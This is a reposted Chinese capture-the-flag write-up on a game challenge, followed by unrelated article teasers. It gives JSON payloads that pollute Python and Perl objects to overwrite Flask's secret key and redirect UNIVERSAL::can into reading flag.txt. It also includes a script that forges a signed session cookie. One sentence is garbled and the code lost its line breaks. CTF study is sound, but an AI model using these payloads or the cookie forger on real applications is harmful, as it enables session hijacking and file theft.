python 原型污染 perl符號表污染 -- Google 2025 MYTHOS

題目實現了一個Game,分為前后端

part 1

前端存在明顯原型污染

def copy(src, dst):for k, v in src.items():if hasattr(dst, "__getitem__"):if dst.get(k) and type(v) == dict:copy(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:copy(v, getattr(dst, k))else:setattr(dst, k, v)@app.route("/score", methods=["POST"])
@game_session
def submit():score = ScoreSubmission(session["game"]["player"])copy(request.json, score)acquired_items = json.loads(session["items"].decode())score.items = acquired_itemsreturn score.toJSON()

我們可以利用此處污染密鑰讓我們可以偽造session

https://tttang.com/archive/1876/#toc_secret_key

github.com/noraj/flask-session-cookie-manager

{"__init__" : {"__globals__" : {"app" : {"config" : {"SECRET_KEY" :"A5rZ"}}}}
}

part 2

后端也存在類似原型污染的東西

    sub setAttribute {my $dst = shift;my $key_name = shift;my $value_ref = shift;if (!defined $key_name || $key_name eq '' || !defined $value_ref) {return 0;}no strict 'refs';*{"$dst"."::$key_name"} = $value_ref;use strict 'refs';return 1;}sub copyItems {my $dst = shift;my $src = shift;foreach my $key (keys %$src) {if (defined $dst->{$key} && ref $dst->{$key} eq 'HASH' && ref $src->{$key} eq 'HASH') {copyItems($dst->{$key}, $src->{$key});} elsif (!defined $dst->{$key}) {if (ref $src->{$key} ne 'HASH') {$dst->{$key} = $src->{$key};} else {foreach my $inner_key (keys %{$src->{$key}}) {my $index = $src->{$key}->{$inner_key};setAttribute($key, $inner_key, $game_artifacts->{$index});}}} elsif (defined $dst->{$key} && ref $dst->{$key} ne 'HASH') {$dst->{$key} = $src->{$key};}}return $dst;}

我們發現此處存在符號表污染,再結合路由邏輯思考

post '/event' => sub { my $choice = (body_parameters->get('choice'));my $player_name = (body_parameters->get('name'));if (!exists $curr_games{$player_name}) {return {success => 0};}my $game = $curr_games{$player_name};my $next = $all_events->{$game->currEv()}->{ev_choice}[$choice]{"goto"};$game->addEv($next);my $next_ev = $all_events->{$next};if ($game->currEv() == 20) {my $stats = deserialize(decode_json(decode_base64(body_parameters->get('items'))));$stats->{Game} = $player_name;$game->{inventory} = $stats;if ($game->{inventory}->can("hasAllItems")) {if ($game->{inventory}->hasAllItems($game_artifacts) == 1) {$next_ev = $all_events->{21};} else {$next_ev = $all_events->{22};}}}my $results = {success => 1,player => $player_name,ev_title => $next_ev->{ev_name},ev_desc => $next_ev->{ev_content},ev_choice => $next_ev->{ev_choice}};if (defined $next_ev->{ev_item}) {$results->{ev_item} = $next_ev->{ev_item};}if (defined $game->{inventory}) {foreach my $key (keys %{$game->{inventory}}) {$results->{items}->{$key} = $game->{inventory}->{$key};}}return $results;
};

在?Perl?中,UNIVERSAL?是所有類的祖先,can?方法用于判斷對象是否有某個方法。當 can?被污染讓其返回 item_delegate ,調用? g a m e ? > i n v e n t o r y ? > c a n ( " h a s A l l I t e m s " ) 實際會執行? i t e m d e l e g a t e ,并傳入? game->{inventory}->can("hasAllItems") 實際會執行?item_delegate,并傳入? game?>inventory?>can("hasAllItems")實際會執行?itemd?elegate,并傳入?game->{inventory}?作為參數

{"UNIVERSAL": {"can": "item_delegate"},"desc_filename": "./flag.txt","mermaid_scale": 1,"angels_scarf": 1,"mew_plaque": 1,"mimic_gem": 1
}

現在配合前端污染的key偽造session即可

#!/usr/bin/env python3
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import SecureCookieSessionInterface
from flask import Flask
import jsonsecret_key = "A5rZ"app = Flask(__name__)
app.secret_key = secret_keyGame_key = "Uzj1m86FEW"
payload = b'{"UNIVERSAL":{"can":"item_delegate"},"desc_filename":"./flag.txt","mermaid_scale":1,"angels_scarf":1,"mew_plaque":1,"mimic_gem":1}'# 構造 payload(與題目保持一致)
payload = {'game': {'ev_choice': [{'desc': 'Oh no', 'goto': 22, 'id': 0}],'ev_desc': "The pair look at each other before they beckon you to approach, and they do not look happy. The angel bellows, terrifyingly, of your misdeeds. 'First, you mess up the antechamber, tread dust on the carpets, and disrupt our guests. Do you think you are above the rules of this castle?' In one quick movement, a gust of wind takes you through the window and into the open air. It seems like the MYTHOS has claimed yet another victim.",'ev_title': 'MYTHOS BAD ENDING','items': {'Game': Game_key, 'Inventory': 'Inventory'},'player': Game_key, 'success': 1},'items': payload
}with app.app_context():s = SecureCookieSessionInterface().get_signing_serializer(app)cookie = s.dumps(payload)print("偽造好的 session cookie:\n")print(cookie)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/87440.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/87440.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/87440.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

數據結構day4——棧

目錄 一、棧的核心概念 什么是棧? 棧的核心特性 二、棧的基本操作 三、C 語言實現棧的兩種方式 1. 順序棧(基于數組實現) 實現代碼 順序棧的優缺點 2. 鏈式棧(基于鏈表實現) 實現代碼 鏈式棧的優缺點 四、…

用戶系統的架構設計與實現策略(二)

一個用戶系統除了基本的用戶業務功能,還應囊括用戶的權限設計及其實現。這本文中我們將探討一下關于用戶權限的設計與實現方法論。 簡介 在構建現代應用系統的過程中,很少有設計決策會像訪問控制機制那樣,對安全性、可擴展性和用戶體驗產生…

深度學習-邏輯回歸

邏輯回歸的目的 邏輯回歸只判斷樣本屬于正類的概率是多大,0-1之間 找到一組最佳的權重(w1,w2,w3,…) ,b,使得模型預測的概率 P(Y1) 盡可能接近樣本的真實標簽(1 或 0)。 計算過程 前向傳播過程…

對象池模式:減少GC的Kotlin實戰指南

對象池模式通過對象復用機制,將對象生命周期從"創建-銷毀"轉變為"借出-歸還",顯著減少GC壓力。下面通過完整實例展示其實現細節。 一、對象池工作原理圖解 #mermaid-svg-Edrz4np9hD6DJdNi {font-family:"trebuchet ms",v…

Java接口報錯:Packet for query is too large - 解決方案與架構思考

Java接口報錯:Packet for query is too large - 解決方案與架構思考 背景與技術原理解決方案體系(擴展版)一、MySQL服務端配置(永久生效)配置文件修改(推薦生產環境) 文件路徑參考Linux: /etc/m…

7月2日作業

思維導圖 一、創建一個進程扇 代碼 #include <25041head.h>int main(int argc, const char *argv[]) {pid_t pid;for(int i1;i<4;i){pidfork();if(pid>0){sleep(1);}if(pid0){printf("我是子進程%d:%d,父進程%d\n",i,getpid(),getppid());sleep(1);re…

設計模式(九)

職責鏈模式&#xff08;Chain of Responsibility&#xff09;詳解 一、核心概念 職責鏈模式將請求的發送者和接收者解耦&#xff0c;使多個對象都有機會處理請求。這些對象連接成一條鏈&#xff0c;請求沿著鏈傳遞&#xff0c;直到有一個對象處理它為止。該模式允許動態調整處…

左神算法之Zigzag方式打印矩陣

目錄 Zigzag方式打印矩陣1. 題目2. 解釋3. 思路4. 代碼5. 總結 Zigzag方式打印矩陣 1. 題目 用zigzag的方式打印矩陣&#xff0c;比如下面的矩陣&#xff1a; 0 1 2 3 4 5 6 7 8 9 10 11打印順序為&#xff1a;0 1 4 8 5 2 3 6 9 10 7 11 2. 解釋 Zigzag打印矩陣是指按照…

【前端批量下載圖片,并打包成壓縮包下載】

一、需求說明 我現在有個需求&#xff1a; 1.列表中有個下載按鈕&#xff0c;點擊下載&#xff0c;將列表中所有的圖片打成壓縮包&#xff0c;并下載 2.效果演示點擊查看效果 最終效果&#xff1a; 二、安裝下載插件 實現此功能需要兩個插件&#xff1a;jszip、file-saver …

NV133NV137美光固態閃存NV147NV148

NV133NV137美光固態閃存NV147NV148 美光固態閃存技術矩陣深度解析&#xff1a;NV133至NV148的全面較量 一、性能參數&#xff1a;數據高速公路的“車速”比拼 讀寫速度&#xff1a;從“鄉間小道”到“高鐵動脈” 美光NV系列固態閃存的核心競爭力在于其讀寫速度的躍升。以NV15…

從LLM到WM:大語言模型如何進化成具身世界模型?

1.引言這學期在方老師開設的《機器人大模型基礎和前沿》選修課上接觸并學習了具身智能方面的相關知識。作為交互組的組長&#xff0c;我和組員們在幻爾機器狗的功能開發上有切身的實踐與探索&#xff0c;在張江具身智能大會上&#xff0c;也見識到了前沿的技術和行業的發展現狀…

第十六屆藍橋杯C++B組國賽題解+復盤總結

文章目錄 寫在前面1、新型鎖2、互質藏卡3、數字輪盤4、斐波那契字符串5、項鏈排列6、藍橋星數字7、翻倍8、近似回文字符串9、子串去重10、涂格子 寫在前面 打了三年&#xff0c;第十六屆是我最后一次參加了&#xff0c;終于如愿以償國一啦。 這場的大多題目都補了&#xff0c;…

【TTS】2024-2025年主流開源TTS模型的綜合對比分析

以下是針對2024-2025年主流開源與商用TTS模型的綜合技術選型分析&#xff0c;結合GitHub熱度、功能特性、部署成本及中文支持等核心維度進行對比&#xff0c;并附詳細實踐建議。 一、開源TTS模型對比&#xff08;2024-2025年主流方案&#xff09; 模型名稱開源/廠商克隆支持中…

redis延時雙刪,為什么第一次刪除

Redis延時雙刪策略中第一次刪除的作用 在緩存與數據庫一致性方案中&#xff0c;"延時雙刪"&#xff08;Delayed Double-Delete&#xff09;是一種經典策略&#xff0c;其核心流程如下&#xff1a; 第一次刪除&#xff1a;更新數據庫前&#xff0c;先刪除緩存 更新數…

深度學習1(深度學習和機器學習的區別,神經網絡)

深度學習和機器學習的區別 深度學習和機器學習都是人工智能&#xff08;AI&#xff09;的重要分支&#xff0c;但它們在方法、應用場景和技術細節上有顯著區別。 機器學習通過算法讓計算機從數據中學習規律&#xff0c;并做出預測或決策。核心是特征工程&#xff08;人工提取數…

這才叫窗口查詢!TDEngine官方文檔沒講透的實戰玩法

第1章&#xff1a;你不知道的TDEngine窗口查詢——開局就不簡單 先別急著翻白眼&#xff0c;提到時間窗口查詢&#xff0c;可能你腦子里立馬浮現的就是那些常規套路&#xff1a;GROUP BY time_interval、FIRST()、LAST()&#xff0c;再加上點AVG()和MAX()&#xff0c;一鍋端。…

Day50 預訓練模型+CBAM模塊

目錄 一、resnet結構解析 二、CBAM放置位置的思考 三、針對預訓練模型的訓練策略 a.差異化學習率 b.三階段式解凍與微調 (Progressive Unfreezing) 四、嘗試對vgg16cbam進行微調策略 是否可以對于預訓練模型增加模塊來優化其效果&#xff0c;這里會遇到一個問題&#xff…

快速說一下TDD BDD DDD

基本概念 TDD&#xff08;測試驅動開發&#xff09;、BDD&#xff08;行為驅動開發&#xff09;和 DDD&#xff08;領域驅動設計&#xff09;是軟件開發領域中幾個重要的概念&#xff0c;它們各自有著獨特的側重點與應用場景&#xff0c;以下為你詳細介紹&#xff1a; 測試驅…

淺析基于深度學習算法的英文OCR技術工作原理及其應用場景

在數字化信息飛速發展的當下&#xff0c;大量的文本信息以各種形式存在&#xff0c;從傳統的紙質文檔到電子圖片中的文字內容。如何高效地將這些非結構化的文本轉化為計算機能夠理解和處理的格式&#xff0c;成為了提高信息處理效率的關鍵。英文 OCR&#xff08;Optical Charac…

AI時代SEO關鍵詞策略

內容概要 在人工智能&#xff08;AI&#xff09;驅動的新時代&#xff0c;搜索引擎優化&#xff08;SEO&#xff09;關鍵詞策略正迎來顛覆性變革。本篇文章將系統解析AI技術如何重塑關鍵詞研究、內容優化及流量提升的全過程&#xff0c;幫助企業實現高效可持續的在線曝光。通過…